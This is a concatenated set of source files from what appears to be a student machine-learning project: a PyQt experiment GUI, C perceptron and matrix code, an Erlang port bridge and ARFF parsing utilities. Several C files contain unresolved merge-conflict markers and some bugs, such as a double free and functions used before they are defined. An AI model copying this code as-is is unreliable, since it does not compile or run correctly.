QtGui.QComboBox() attributes = ["stats","pca"] for attr in attributes: self.attr_combo.addItem(attr) self.layout.addWidget(self.attr_combo) def addButton(self,name,listener): button = QtGui.QPushButton(name, self) button.clicked.connect(listener) return button def addField(self,name,default,layout): text = QtGui.QTextEdit() text.append(default) text.setMaximumSize(400,40); self.textFields[name]=text layout.addRow(name,text) def getPath(self): field=self.textFields["Path"] path=field.toPlainText() return path def getCurrentDataset(self): return str(self.listWidget.currentItem().text()) def showButton(self): dataset=self.getCurrentDataset() w = details.DetailWindow(dataset,self) w.move(300, 300) w.show() def pcaButton(self): dataset=self.getCurrentDataset() bow.getPlot(dataset) def searchButton(self): self.path=str(self.getInput("Path")) self.listWidget.clear() sender = self.sender() for root, dirs, files in os.walk(self.path): for file in files: if file.endswith(self.ends): try: path = os.path.join(root, file).encode('utf-8') self.listWidget.addItem(path) except: pass def runButton(self): items=self.getAllItems() filename=self.getInput("Output file") bounds=self.getBounds() if(self.pca()): pca=bow.getStats(items) results=callApriori.experiment(items,bounds) arff.saveArffFile(results,pca,filename) else: results=callApriori.experiment(items,bounds) arff.saveArffFile(results,None,filename) print("Dataset created") def pca(self): attr=str(self.attr_combo.currentText()) return attr=="pca" def getAllItems(self): allItems=[] for i in range(0,self.listWidget.count()): item=self.listWidget.item(i) allItems.append(str(item.text())) return allItems def getBounds(self): lSup=self.getInput("lower MinSup") uSup=self.getInput("upper MinSup") lConf=self.getInput("lower MinConf") uConf=self.getInput("upper MinConf") lWorkers=self.getInput("lower Workers") uWorkers=self.getInput("upper Workers") return callApriori.Bounds(lSup,uSup,lConf,uConf,lWorkers,uWorkers) def getInput(self,name): field=self.textFields[name] return field.toPlainText() def main(): app = QtGui.QApplication(sys.argv) w = MainWindow() w.move(300, 300) w.show() sys.exit(app.exec_()) if __name__ == '__main__': main() <file_sep>#include <stdio.h> #include <stdlib.h> typedef struct Vector{ int n; double * data; } Vector; typedef struct Sample{ Vector * x; double y; } Sample; typedef struct Samples{ int k; int n; Sample ** s; } Samples; Samples * makeSamples(int k,int n); Sample * makeSample(int n); Vector * makeVector(int n); void clean(Vector * v); void printVector(Vector * v); Samples * makeSamples(int k,int n){ Samples * samples=(Samples*) malloc(sizeof(Samples)); samples->s=(Sample**) malloc(k*sizeof(Sample*)); samples->k=k; samples->n=n; for(int i=0;i<k;i++){ samples->s[i]=makeSample(samples->n); } return samples; } Sample * makeSample(int n){ Sample * s=(Sample*) malloc(sizeof(Sample)); s->x=makeVector(n); s->x->data[0]=1.0; s->y=0.0; return s; } Vector * makeVector(int n){ Vector * v=(Vector*) malloc(sizeof(Vector)); v->n=n; v->data= (double*)malloc(n*sizeof(double)); clean(v); return v; } void clean(Vector * v){ int i; for(i=0;i<v->n;i++){ v->data[i]=0.0; } } void printVector(Vector * v){ for(int i=0;i<v->n;i++){ printf(" %f",v->data[i]); } printf("\n"); } void printSamples(Samples * samples){ for(int i=0;i<samples->k;i++){ Sample* s=samples->s[i]; printf("y:%f x:",s->y); printVector(s->x); } printf("\n"); } <file_sep>import numpy as np,math class Histogram(object): def __init__(self,vector2D,dim=10.0): self.dim=float(dim) self.matrix=np.zeros(shape=(dim,dim)) self.max=max(getMax(vector2D)) self.min=min(getMin(vector2D)) self.size=math.fabs(self.min -self.max) self.h=self.size/self.dim self.createHist(vector2D) self.u=self.avg() def createHist(self,vector2D): for point in vector2D: ds=self.convertPoint(point) self.matrix[ds[0]][ds[1]]=self.matrix[ds[0]][ds[1]]+1.0 def convertPoint(self,point): x=(point[0]-self.min)/self.size y=(point[1]-self.min)/self.size x= int(10.0*x) y= int(10.0*y) if(x>=self.dim): x-=1 if(y>=self.dim): y-=1 return x,y def avg(self): value=0.0 for row in self.matrix: for b in row: value+=b return value/(self.dim*self.dim) def maxValue(self): allBins=self.getSortedBins() return allBins[0] def minValue(self): allBins=self.getSortedBins() return allBins[-1] def mediana(self): allBins=self.getSortedBins() center=float(len(allBins)) if(center % 2 ==0): return allBins[int(center/2)] else: med= int(center /2) a=allBins[med] b=allBins[med+1] return (a+b)/2.0 def getSortedBins(self): allBins=self.matrix.flatten() allBins=filter(lambda x: x != 0.0, allBins) allBins.sort() return allBins def var(self): value=0.0 for row in self.matrix: for x in row: v=(x-self.u) value+=v*v value/=self.dim*self.dim -1.0 return math.sqrt(value) def getMax(vector2D): point=vector2D[0] maxXY=[point[0],point[1]] for point in vector2D: if(maxXY[0]<point[0]): maxXY[0]=point[0] if(maxXY[1]<point[1]): maxXY[1]=point[1] return (maxXY[0],maxXY[1]) def getMin(vector2D): point=vector2D[0] minXY=[point[0],point[1]] for point in vector2D: if(minXY[0]>point[0]): minXY[0]=point[0] if(minXY[1]>point[1]): minXY[1]=point[1] return (minXY[0],minXY[1]) <file_sep>import sys,os,bow sys.path.append("/home/user/Desktop/magisterka/data") import arffConverter as arff,callApriori as call def createDataset(filename,dirName): items=getFilenames(dirName) results=experiment(items) arff.saveArffFile(results,None,filename) def createPcaDataset(filename,dirName): items=getFilenames(dirName) pca=bow.getStats(items) results=experiment(items) arff.saveArffFile(results,pca,filename) def getFilenames(dirName): items = [ f for f in os.listdir(dirName)] currDir=os.getcwd() return map(lambda x: currDir+"/"+dirName+"/"+x,items) def experiment(datasets): results={} i=0 for datasetName in datasets: print("Dataset " + str(i) +"\n") expsForDataset=[] minSup=[0.1,0.4,0.8] minConf=[0.2,0.4,0.7] workers=[1,2,4] args=getArguments(datasetName,minSup,minConf,workers) for params in args: time=execute(params,datasetName) params.time=time expsForDataset.append(params) results[datasetName]=expsForDataset i+=1 return results def getArguments(name,minSupValues,minConfValues,workersValues): paramsList=[] for minSup in minSupValues: for minConf in minConfValues: for workers in workersValues: param= call.AprioriParametrs(name,minSup,minConf,int(workers)) paramsList.append(param) return paramsList def execute(args,dataset): return call.execute(args.minSup,args.minConf,args.workers,dataset) if __name__ == '__main__': createPcaDataset(sys.argv[1],sys.argv[2]) <file_sep>#include "trainPerceptron.c" #include <string.h> double toDouble(int i,char * line){ int a=((int) line[i]) -48; int b=((int) line[i+2]) -48; return (double) a + (((double) b)/10); } double strToDouble(char c){ if(c=='t'){ return 1.0; }else{ return -1.0; } } double * convertLine(char * line){ double *x=(double*) malloc(4*sizeof(double)); x[0]=toDouble(1,line); // printf(" %f\n",x[0]); x[1]=toDouble(5,line); // printf(" %f\n",x[1]); x[2]=toDouble(9,line); // printf(" %f\n",x[2]); x[3]=strToDouble(line[13]); // printf(" %f\n",x[3]); return x; } void fromFile(Dataset * d){ FILE * fr= fopen("train.txt","rt"); char line[80]; int i=0; while( i<d->n && (fgets(line,80,fr) != NULL)){ //printf("%s",line); double * x=convertLine(strstr(line,"{")); d->samples[i][1]= x[0]; d->samples[i][2]= x[1]; d->samples[i][3]= x[2]; d->labels[i]=x[3]; i++; } } Perceptron * createPerceptron(int n,int k){ Dataset * d = makeDataset(n,k); fromFile(d); Perceptron * p=train2( d,0.01); //printPercept(p); //printDataset(d); return p; } /*int main(){ createPerceptron(100,3); }*/ <file_sep>#include <stdio.h> #include <stdlib.h> #include "perceptron.c" typedef struct Dataset{ int n; int k; double ** samples; double * labels; } Dataset; double x(Dataset * d,int i,int j){ return d->samples[i][j]; } Dataset * makeDataset(int n,int k){ Dataset *d=(Dataset*) malloc(sizeof(Dataset)); d->n=n; d->k=k+1; int i,j; d->samples=(double **) malloc(n*sizeof(double*)); d->labels=(double *) malloc(n*sizeof(double)); for(i=0;i<n;i++){ d->samples[i]=(double *) malloc(d->k*sizeof(double)); for(j=0;j<d->k;j++){ if(j!=0){ d->samples[i][j]=0.0; }else{ d->samples[i][j]=1.0; } } d->labels[i]=0.0; } return d; } void printDataset(Dataset * d){ int i,j; for(i=0;i<d->n;i++){ for(j=0;j<d->k;j++){ printf(" %f",x(d,i,j)); } printf(" %f \n",d->labels[i]); } } double * currentOutput(Dataset *d,Perceptron * p){ double * y=(double*) malloc(d->n*sizeof(double)); int i; for(i=0;i<d->n;i++){ y[i]=activation(p,d->samples[i]); } return y; } void updateWeights(Dataset * d,Perceptron * p,double * y,double alpha){ int i,j; for(i=0;i<d->n;i++){ double delta= d->labels[i] -y[i]; for(j=0;j<p->n;j++){ p->w[j]= p->w[j] + alpha * delta * d->samples[i][j]; } } } double * step(Dataset * d,Perceptron * p,double alpha){ double * y=currentOutput(d,p); updateWeights(d,p,y,alpha); return y; } double error(Dataset * d,double * y){ double err=0.0; double * l=d->labels; int i; for(i=0;i<d->n;i++){ if(y[i]!=l[i]){ err+=1.0; } } err/=d->n; return err; } Perceptron * train(Dataset * d,double alpha,double maxErr,int maxIter){ int iter=0; double err=1.0; Perceptron * p=makePerceptron(d->k); while(iter<maxIter && err>maxErr){ double * y=step(d,p,alpha); err=error(d,y); <<<<<<< HEAD printf("%d %f \n",iter,err); ======= // printf("%d %f \n",iter,err); >>>>>>> 4a896bf5cfdcb3d8011a89cf48d3eead0c71a50d iter+=1; } return p; } <<<<<<< HEAD Perceptron * train(Dataset * d,double alpha){ ======= Perceptron * train2(Dataset * d,double alpha){ >>>>>>> 4a896bf5cfdcb3d8011a89cf48d3eead0c71a50d return train(d,alpha,0.1,1000); } <file_sep>import scipy.stats as stats import numpy as np,arff,math def corlMatrix(filename): corll,attr=getCorlMatrix(filename) printMatrix(corll,attr) return strMatrix(corll,attr) def entropyMatrix(filename): entropy,attr=getEntropyMatrix(filename) return strMatrix(entropy,attr) def getCorlMatrix(filename): return getMatrix(filename,computeCorelationMatrix) def getEntropyMatrix(filename): return getMatrix(filename,mutualEntropyMatrix) def getMatrix(filename,compute): data,attr=arff.parseArff(filename,True) series=data.getAllDims() corelMatrix=compute(series) return corelMatrix,attr def computeCorelationMatrix(series): size=len(series) corelMatrix = np.zeros(shape=(size,size)) for i in range(0,size): for j in range(0,size): x=series[i] y=series[j] corl=stats.pearsonr(x,y)[0] corelMatrix[i][j]=round(corl,2) return corelMatrix def printMatrix(corel,attr): rep=strMatrix(corel,attr) print(rep) def strMatrix(corel,attr): size=len(corel) rep=getFirstLine(size) for i in range(0,size): line=str(i)+": " for j in range(0,size): value=round(corel[i][j],2) line+=getStr(value) rep+= "\n"+line rep+=printAttributes(attr) return rep def getFirstLine(size): firstLine=" " for i in range(0,size): firstLine+=str(i)+" " return firstLine def printAttributes(attr): value="" size=len(attr) for i in range(0,size): value+= "\n" + str(i) +" " + attr[i] return value def getStr(corel): if(not math.isnan(corel)): return toStr(corel) return "Nan" def toStr(corel): ws=" " if(corel==-0.0): corel=0.0 if(corel>=0): ws+=" " if(int(corel*100)%10==0): ws+=" " return str(corel)+ws class Histogram(object): def __init__(self,X,Y,bins=10): self.bins=bins self.matrix=np.zeros(shape=(bins,bins)) self.getRange(X,Y) self.updateAll(X,Y) self.marginalize() self.norm() def getRange(self,X,Y): self.minX=min(X) self.maxX=max(X) self.minY=min(Y) self.maxY=max(Y) self.detX=self.getDet(self.minX,self.maxX) self.detY=self.getDet(self.minY,self.maxY) def getDet(self,inf,sup): return (sup-inf)/float(self.bins) def updateAll(self,X,Y): for i in range(0,len(X)): self.update(X[i],Y[i]) def update(self,x,y): i,j=self.findBin(x,y) self.matrix[i][j]+=1.0 def marginalize(self): self.px=map(lambda x:0.0,self.matrix) self.py=map(lambda x:0.0,self.matrix) for i in range(0,self.bins): for j in range(0,self.bins): self.px[i]+=self.matrix[i][j] for i in range(0,self.bins): for j in range(0,self.bins): self.py[i]+=self.matrix[j][i] def p(self,x,y): if(x<self.minX or self.maxX<x): return 0.0 if(y<self.minY or self.maxY<y): return 0.0 i,j=self.findBin(x,y) return self.matrix[i][j] def margP(self,x,y): i,j=self.findBin(x,y) return self.px[i],self.py[j] def findBin(self,x,y): for i in range(0,self.bins): if(self.xRange(x,i)): break for j in range(0,self.bins): if(self.yRange(y,j)): break return i,j def xRange(self,x,i): l=self.minX + i*self.detX u=l+self.detX return (l<=x) and (x<=u) def yRange(self,y,i): l=self.minY + i*self.detY u=l+self.detY return (l<=y) and (y<=u) def norm(self): f=lambda x: sum(x) C=sum(map(f,self.matrix)) div=lambda x: (x/C) self.matrix=map(lambda y:map(div,y),self.matrix) self.px=map(div,self.px) self.py=map(div,self.py) return C def check(self): for i in range(0,self.bins): for j in range(0,self.bins): pxy=self.matrix[i][j] p2=self.px[i]*self.py[j] if(pxy!=0.0 and pxy <p2): print(i,j,pxy,p2,self.px[i],self.py[i]) def __str__(self): return str(self.matrix) def mutualEntropyMatrix(series): size=len(series) entropyMatrix = np.zeros(shape=(size,size)) for i in range(0,size): for j in range(0,size): x=series[i] y=series[j] entropyMatrix[i][j]=mutualEntropy(x,y) return entropyMatrix def mutualEntropy(x,y): hist=Histogram(x,y,10) return entropy(hist.px) + entropy(hist.py) - jointEntropy(hist) def entropy(pmarg): p=filter(nonzero,pmarg) fun=lambda x:x*np.log(1.0/x) return sum(map(fun,p)) def nonzero(x): return x>0.0 def jointEntropy(hist): entropy=0.0 for i in range(0,hist.bins): for j in range(0,hist.bins): entropy+=entropyDensity(i,j,hist) return entropy def entropyDensity(i,j,hist): pxy=hist.matrix[i][j] if(pxy==0.0): return 0.0 return pxy*np.log(1.0/pxy) <file_sep># -*- coding: utf-8 -*- """ Created on Tue Nov 5 19:42:24 2013 @author: tjacek """ import os,arff,copy algorithms = ["c45","naive_bayes","nearest_neighbors"] def execute(algName,trainfile,path="/home/user/Desktop/ML/src"): cmd="erl -pa " + path +" -run test_classifer run_exp " cmd+=algName + " " + trainfile testfile= copy.copy(trainfile).replace("Train.arff","Test.arff") cmd+=" " + testfile outputfile= trainfile.replace("Train.arff","_"+algName+".arff") cmd+=" " + outputfile statsfile= path.replace("src","stats/output_"+algName+".txt") cmd+=" " + statsfile cmd+=" -run init stop -noshell " os.system(cmd) arff.prepareOutput(testfile,outputfile) <file_sep>#include <stdio.h> #include <stdlib.h> typedef struct Perceptron{ int n; double * w; double threshold; } Perceptron; void clean(Perceptron * p){ int i; for(i=0;i<p->n;i++){ p->w[i]=0.0; } } Perceptron * makePerceptron(int n){ Perceptron * p=(Perceptron*) malloc(sizeof(Perceptron)); p->n=n; p->w= malloc(n*sizeof(double)); p->threshold=0.0; clean(p); return p; } double sum(Perceptron * p,double * x){ double u=0.0; int i; for(i=0;i<p->n;i++){ u+=p->w[i]*x[i]; } return u; } int activation(Perceptron * p,double * x){ double u=sum(p,x); if(u>p->threshold){ return 1.0; }else{ return -1.0; } } <<<<<<< HEAD ======= >>>>>>> 4a896bf5cfdcb3d8011a89cf48d3eead0c71a50d void printPercept(Perceptron * p){ int i; for(i=0;i<p->n;i++){ printf(" %f",p->w[i]); } printf("\n"); } /*int main(){ Perceptron * p=makePerceptron(3); double x[3]={1.0,2.0,3.0}; printPercept(p); activation(p,x); }*/ <file_sep>import sys,math,os sys.path.append("/home/user/Desktop/magisterka/data") import attributesStats as stats,arff,discretization as disc filename="first_pca.arff" dirPath="/home/user/Desktop/magisterka/apriori/" def analizeDataset(filename,path="stats/"): dirName=filename.replace(".arff","") fullPath=dirPath+path+dirName+"/" #createDir(filename,path) fullText=matrixs(filename,fullPath) train,test=splitData(filename,fullPath) train=fullPath + train test=fullPath + test #regression(train,test,fullPath+dirName,fullPath) #categories=disc.getMagnidudeCategories() #trainD,testD=discretize (train,test,fullPath,disc.orderOfMagnidude,categories) #classification(trainD,testD,categories) def createDir(filename,path): dirName=filename.replace(".arff","") fullPath=path+dirName os.system("mkdir "+fullPath) def matrixs(filename,path): m1=stats.corlMatrix(filename) save(m1,filename,"corelation",path) m2=stats.entropyMatrix(filename) save(m2,filename,"entropy",path) return path+filename def save(text,filename,prefix,path): fullName=filename.replace(".arff","_"+prefix+".txt") fullPath=path+fullName myFile = open(fullPath, 'w') myFile.write(text) myFile.close() def splitData(filename,path="/stats/apriori/"): dataset,attr=arff.parseArff(filename,True) train,test=arff.saveSplitedArff(dataset,path,filename,False) return train,test def regression(train,test,dirName,path): npRegression(train,test,dirName) regressionC(train,test,dirName,path) def npRegression(trainFile,testFile,dirName,erlPath="/home/user/Desktop/ML/src"): output=dirName+"_npr.txt" cmd="erl -pa " + erlPath +" -run regression run_exp " cmd+=trainFile + " " + testFile +" "+ output cmd+=" -run init stop -noshell " print(cmd) os.system(cmd) def regressionC(train,test,dirName,path): trainCSV,testCSV=dataForC(train,test,path) output=dirName+"_lsm.txt" callC(trainCSV,testCSV,output) def dataForC(train,test,path): trainCSV=toCSV(train,path) testCSV=toCSV(test,path) return trainCSV,testCSV def toCSV(filename,path): dataset,attr=arff.parseArff(filename,True) return saveRaw(dataset,path,filename) def callC(train,test,output="output.txt",cpath="/home/user/Desktop/ML/C/LSM/"): print(train) cmd=cpath +"lsm " + train +" " + test +" " + output os.system(cmd) def saveRaw(dataset,path,filename): filename=filename.replace(".arff",".csv") arff.saveCsv(dataset,"",filename) return filename def discretize(train,test,fullPath, category,categories): trainDisc=disc.discretize("",train,category,categories) testDisc =disc.discretize("",test,category,categories) return trainDisc,testDisc def classification(train,test,categories): algs=["c45","naive_bayes","nearest_neighbors"] for alg in algs: output=test.replace("Test_disc.arff","_"+alg+".arff") stats=test.replace("Test_disc.arff","_"+alg+"_stats.txt") #print(alg +" " + train +" " +test+" "+output+" "+stats) callClass(alg,train,test,output,stats) arff.prepareOutput(test,output,categories) def callClass(alg,train,test,output,stats,path="/home/user/Desktop/ML/src"): cmd="erl -pa " + path +" -run test_classifer run_exp " cmd+=alg + " " + train cmd+=" " + test+" " + output +" " + stats cmd+=" -run init stop -noshell " os.system(cmd) analizeDataset(filename) <file_sep># -*- coding: utf-8 -*- """ Created on Mon Nov 4 17:49:27 2013 @author: tjacek """ import numpy as np,mlpy,matplotlib.pyplot as plt,ClassiferGenerator as gen from mpl_toolkits.mplot3d import Axes3D colors=['r','b','y','c','g'] def visualizeLabels(dataset): if(dataset.dim>3): dataset=dimReduction(dataset) #dataSeries=dataset.separate() #visualizeLabels2D(dataSeries) #return dataSeries=dataset.separate() if(dataset.dim==2): visualizeLabels2D(dataSeries) return #print(dataSeries) visualizeLabels3D(dataSeries) def visualizeLabels3D(dataSeries): fig = plt.figure() ax = fig.add_subplot(111, projection='3d') i=0 for key in dataSeries.keys(): prepData=prepare(dataSeries[key]) print(key) dimData=len(prepData) if(dimData>2 and i<len(colors)): x=prepData[0] y=prepData[1] z=prepData[2] ax.scatter(x,y,z,c=colors[i],marker='o') i+=1 ax.set_xlabel("X") ax.set_ylabel("Y") ax.set_zlabel("Z") plt.show() def visualizeLabels2D(dataSeries): fig = plt.figure() ax = fig.add_subplot(111)#, projection='2d') i=0 for key in dataSeries.keys(): prepData=prepare(dataSeries[key]) ax.scatter(prepData[0],prepData[1],c=colors[i],marker='o') i+=1 ax.set_xlabel("X") ax.set_ylabel("Y") plt.show() def prepare(dataset): dataSeries=[] for i in range(0,dataset.dim): dataSeries.append(dataset.getDim(i)) return dataSeries def visualize(preparedData): fig = plt.figure() ax = fig.add_subplot(111, projection='3d') ax.scatter(prepData[0],prepData[1],prepData[2],c='r',marker='o') ax.set_xlabel("X") ax.set_ylabel("Y") ax.set_zlabel("Z") plt.show() def dimReduction(dataset): points=dataset.getPoints() reduPoints=applyPCA(points) labels=dataset.getLabels() return gen.createNewDataset(reduPoints,labels) def applyPCA(vectors): x=toMatrix(vectors) pca=mlpy.PCA() pca.learn(x) return pca.transform(x, 3) def toMatrix(data): return np.asarray(data) <file_sep>package pl.edu.agh.weka.benchmark; import weka.core.Attribute; import weka.core.FastVector; import weka.core.Instances; public class DataCreator { static final String name="TestData"; static final String cat="cat"; static String[] keywords = { "x", "y","z"}; static final int numberOfAttributes = 4; public static Instances getInstances(){ return new Instances(name, getAttr(),numberOfAttributes); } private static FastVector getAttr() { FastVector attributes = new FastVector(keywords.length + 1); for (int i = 0 ; i < keywords.length; i++) { attributes.addElement(new Attribute(keywords[i])); } final FastVector classValues = new FastVector(2); classValues.addElement("true"); classValues.addElement("false"); attributes.addElement(new Attribute(cat, classValues)); return attributes; } } <file_sep># -*- coding: utf-8 -*- """ Created on Thu Dec 26 16:02:50 2013 @author: tjacek """ import math,re from sets import Set def convertDataset(filename,newfile): sep=r"( )+" newSep="," newDataset="" endline=r"(\s)*\n" for line in open(filename,'r'): line=re.sub(endline,r'\n',line) line=re.sub(sep,newSep,line) newDataset+=line f = open(newfile,"w") f.write(newDataset) f.close() return newDataset def readDataset(filename,separator=","): dataset=[] for line in open(filename,'r'): line=line.replace('\n',"") line=line.replace(r"\s","") transaction=line.split(separator) dataset.append(transaction) return dataset def average(numList): return sum(numList)/len(numList) def std(numList): av=average(numList) sq=lambda x:(x-av)**2 newList=list(map(sq,numList)) var=average(newList) return math.sqrt(var) def transactionStats(dataset): listSize=lambda x:float(len(x)) numList=list(map(listSize,dataset)) avg=average(numList) var=std(numList) return avg,var def itemsStats(items,dataset): freq=itemsFreq(items,dataset) avg=average(freq) var=std(freq) return avg,var def itemsFreq(items,dataset): freq=[] for item in list(items): counter=0 for transaction in dataset: if(item in Set(transaction)): counter+=1 freq.append(counter) return freq def getItems(dataset): items=Set([]) for transaction in dataset: items=items.union(Set(transaction)) return items def getAttributes(): return ["transactions","items","avg_transaction","var_transaction","avg_items","var_items"] def getStats(path): stats={} dataset=readDataset(path) items=getItems(dataset) avgTrans,varTrans=transactionStats(dataset) avgItems,varItems=itemsStats(items,dataset) stats["transactions"]=len(dataset) stats["items"]=len(items) stats["avg_transaction"]=cut(avgTrans) stats["var_transaction"]=cut(varTrans) stats["avg_items"]=cut(avgItems) stats["var_items"]=cut(varItems) return stats def cut(number): return round(number,2) def test(): path="datasets/mine.data" rep=getStats(path) print(rep) if __name__ == '__main__': test() <file_sep># -*- coding: utf-8 -*- """ Created on Sun Dec 8 19:41:55 2013 @author: tjacek """ import ClassiferGenerator as cg import arff as file def linearPredict(x,y,z): if(x+y>5.0): return 1.0 else: return 0.0 def nonLinearPredict(x,y,z): if(x*x+y*y>10.0): return 1.0 else: return 0.0 def checkLabels(points,pred=linearPredict): correct=0 for point in points: trueLabel=pred(point[0],point[1],point[2]) if(trueLabel==point[3]): correct+=1 return correct/len(points) def checkErrors(points,pred=nonLinearPredict): falsePositives=0 trueNegatives=0 for point in points: trueLabel=pred(point[0],point[1],point[2]) if(trueLabel!=point[3]): if(trueLabel): trueNegatives+=1 else: falsePositives+=1 falsePositives/=len(points) trueNegatives/=len(points) return falsePositives,trueNegatives def createInput(name="nonlinear.arff",pred=nonLinearPredict): dataset=cg.createDataset(100,pred,5.0) file.saveArff(dataset,True,"train/"+name) testData=cg.createDataset(30,pred,5.0) file.saveArff(testData,False,"test/"+name) def checkOutput(name=""): path="C:/Users/tjacek/IdeaProjects/ML/" data=file.parseArff(path+"test/nonlinear.arff",path+"result/nonlinearC45.arff") return checkErrors(data) <file_sep># -*- coding: utf-8 -*- """ Created on Tue Oct 1 13:25:26 2013 @author: tjacek """ import numpy from numpy import random from pylab import scatter,show class DataGenerator(object): def __init__(self,x=uniform,y=numpy.sin,noise=zero): self.x=x self.y=y self.noise=noise def generateX(self,n): X=[] for i in range(1,n): X.append(self.x()) return X def generateY(self,X): Y=[] for x in X: y=self.y(x) + self.noise() Y.append(y) return Y def generate(self,n): X = self.generateX(n) Y = self.generateY(X) return [X,Y] def zero(): return 0 def uniform(): scale=1.0 return scale * random.uniform() def visualise(data): x=data[0] y=data[1] scatter(x,y) show() <file_sep># -*- coding: utf-8 -*- """ Created on Mon Nov 4 19:37:42 2013 @author: tjacek """ import re,ClassiferGenerator as gen binaryCategories = ["true","false"] def saveSplitedArff(dataset,path,filename,labeled=True,frac=0.3): data1,data2=dataset.split(frac) trainfile=filename.replace(".arff","Train.arff") saveArff(data1,path,trainfile,labeled) testfile=filename.replace(".arff","Test.arff") saveArff(data2,path,testfile,labeled) return trainfile,testfile def saveArff(dataset,path,filename,labeled=True,categories=binaryCategories): arff=toArff(dataset,labeled,categories) myFile = open(path+filename, 'w') myFile.write(arff) myFile.close() def saveCsv(dataset,path,filename): csv=str(dataset) myFile = open(path+filename, 'w') myFile.write(csv) myFile.close() def prepareOutput(testfile,outputfile,Categories=binaryCategories): f=open(outputfile,'r') output=f.read() f.close() labels=extractLabels(output) dataset=parseArff(testfile)[0] i=0 for instance in dataset.instances: instance.setCategory(labels[i]) i+=1 arffOutput=toArff(dataset,True,Categories) f=open(outputfile, 'w') f.write(arffOutput) f.close() def extractLabels(output): output=output.replace("[","") output=output.replace("].","") labels=output.split(",") pattern = re.compile(r'\s+') clean =lambda x: re.sub(pattern, '', x) return map(clean,labels) def readArff(filename): file=open(filename,'r') arff=file.read() file.close() return arff def toArff(dataset,labeled=True,categories=binaryCategories): arff=attrToText(dataset.dim,labeled,categories) arff+="@data\n" arff+=str(dataset) return arff +"\n" def attrToText(n,labeled=True,categories=binaryCategories): s="@relation TestData \n \n" for i in range(0,n): atrrName= "cord"+str(i) s+="@attribute "+ atrrName + " numeric\n" if(labeled): cats="" for cat in categories: cats+=cat+"," cats=cats[:-1] s+="@attribute cat {" + cats +"}\n"; return s +"\n" def parseArff(filename,unlabeled=False): arff=readArff(filename) attr,data=arff.split("@data\n") dim,attrNames=parseAttr(attr) if(unlabeled): points=parseUnlabeledPoints(data) dataset=gen.createUnlabeledDataset(points,dim) else: points,labels=parsePoints(data) dataset=gen.createNewDataset(points,labels,dim) return dataset,attrNames def parseAttr(attr): lines=attr.split("\n") attrNames=[] reg = re.compile('@attribute(.)+numeric(.)*') dim=0 for line in lines: if(reg.match(line)): dim+=1 name=extractAttrName(line) attrNames.append(name) return dim,attrNames def extractAttrName(line): line=line.replace("numeric","") return line.replace("@attribute","") def parseUnlabeledPoints(data): lines=data.split("\n") lines=filter(lambda l: len(l)>0.0,lines) lines=map(lambda x:x.split(","),lines) points=map(toFloat,lines) return points def parsePoints(data): lines=data.split("\n") lines=filter(lambda l: len(l)>0.0,lines) lines=map(lambda x:x.split(","),lines) labels=map(lambda x:x.pop(-1),lines) points=map(toFloat,lines) #print(labels) #labels=map(toCat,labels) return points,labels def toFloat(rawPoint): return map(float,rawPoint) def toCat(raw): p = re.compile(r"true|false") if(p.match(raw)): if(raw=="true"): return 1.0 return -1.0 return 0.0 if __name__ == '__main__': path="/home/user/Desktop/ML/data/dataOutput.arff" prepareOutput(path) #data,attr=parseArff("apriori/apriori.arff") #print(attr) <file_sep>import os,time def experiment(datasets,bounds): results={} i=0 for aprioriDataset in datasets: print("Dataset " + str(i) +"\n") expsForDataset=[] for params in getParams(bounds,aprioriDataset): time=execute(params.minSup,params.minConf,params.workers,aprioriDataset) params.time=time expsForDataset.append(params) results[aprioriDataset]=expsForDataset i+=1 return results def getParams(bounds,name): paramsList=[] for minSup in getRange(bounds.lowerSup,bounds.upperSup): for minConf in getRange(bounds.lowerConf,bounds.upperConf,0.3): for workers in getWorkersRange(bounds): param= AprioriParametrs(name,minSup,minConf,int(workers)) paramsList.append(param) return paramsList def getRange(a,b,h=0.2): det=b-a size=int(det/h) interval=[] for i in range(0,size): interval.append(a+i*h) return interval def getWorkersRange(bounds,h=2): l=int(bounds.lowerWorkers) u=int(bounds.upperWorkers) worker=list(range(l,u)) return map(lambda x:2*x,worker) class Bounds(object): def __init__(self,lowerSup,upperSup,lowerConf,upperConf,lowerWorkers,upperWorkers): self.lowerSup=float(lowerSup) self.upperSup=float(upperSup) self.lowerConf=float(lowerConf) self.upperConf=float(upperConf) self.lowerWorkers=int(lowerWorkers) self.upperWorkers=int(upperWorkers) class AprioriParametrs(object): def __init__(self,name,minSup,minConf,workers,time=0.0): self.name=name self.minSup=minSup self.minConf=minConf self.workers=workers self.time=time def __str__(self): s=str(self.minSup)+"," s+=str(self.minConf)+"," s+=str(self.workers)+"," s+=str(self.time)+"\n" return s def execute(sup,conf,work,data,path="/home/user/Desktop/ML/src"): cmd ="erl -pa " + path +" -run apriori extCall " MinSup=str(sup) MinConf=str(conf) Workers=str(work) Dataset=data print("MinConf"+ MinConf+ "MinSup" + MinSup +" Workers "+ Workers +" " + Dataset +"\n") postfix=" -run init stop -noshell" cmd+=MinSup + " " + MinConf +" " +Workers+" " cmd+=Dataset + postfix time1=getTime() os.system(cmd) time2=getTime() time =time2-time1 return time#AprioriParametrs(MinSup,MinConf,Workers,time) def getTime(): return int(round(time.time() * 1000)) if __name__ == '__main__': #defbounds=Bounds(0.3,0.7,0.3,0.7,1,2) #experiment(datasets,defbounds) path1="datasets/old/mine.data" path2="transactions/dataset1/trans11.data" print(execute(0.5,0.5,1,path1)) <file_sep>#include "erl_interface.h" #include "ei.h" #include "io.c" typedef unsigned char byte; static Perceptron * p; static int i=0; double crt(int n,int k){ p = createPerceptron(n,k); return 1.0; } double per(){ if(i<p->n){ double wk=p->w[i]; i++; return wk; } return (double)p->n; } double callFunction(ETERM *fnp,ETERM *argp1,ETERM *argp2){ if(strncmp(ERL_ATOM_PTR(fnp), "crt", 3) == 0) { int n=ERL_INT_VALUE(argp1); int k=ERL_INT_VALUE(argp2); return crt(n,k); } if (strncmp(ERL_ATOM_PTR(fnp), "per", 17) == 0) { return per(); } return 0.0; } int main() { ETERM *tuplep, *intp; ETERM *fnp, *argp1,*argp2; double res; byte buf[100]; long allocated, freed; erl_init(NULL, 0); while (read_cmd(buf) > 0) { tuplep = erl_decode(buf); fnp = erl_element(1, tuplep); argp1 = erl_element(2, tuplep); argp2 = erl_element(3, tuplep); res=callFunction(fnp,argp1,argp2); intp = erl_mk_float(res); erl_encode(intp, buf); write_cmd(buf, erl_term_len(intp)); erl_free_compound(tuplep); erl_free_term(fnp); erl_free_term(argp1); erl_free_term(argp1); erl_free_term(intp); } } <file_sep>#include "lsm_matrix.c" #include <time.h> Samples * generateSamples(int n,int k); double eval(Vector * x); double eps(); Vector * randomVector(Vector * v); double randomDouble(); void test(int 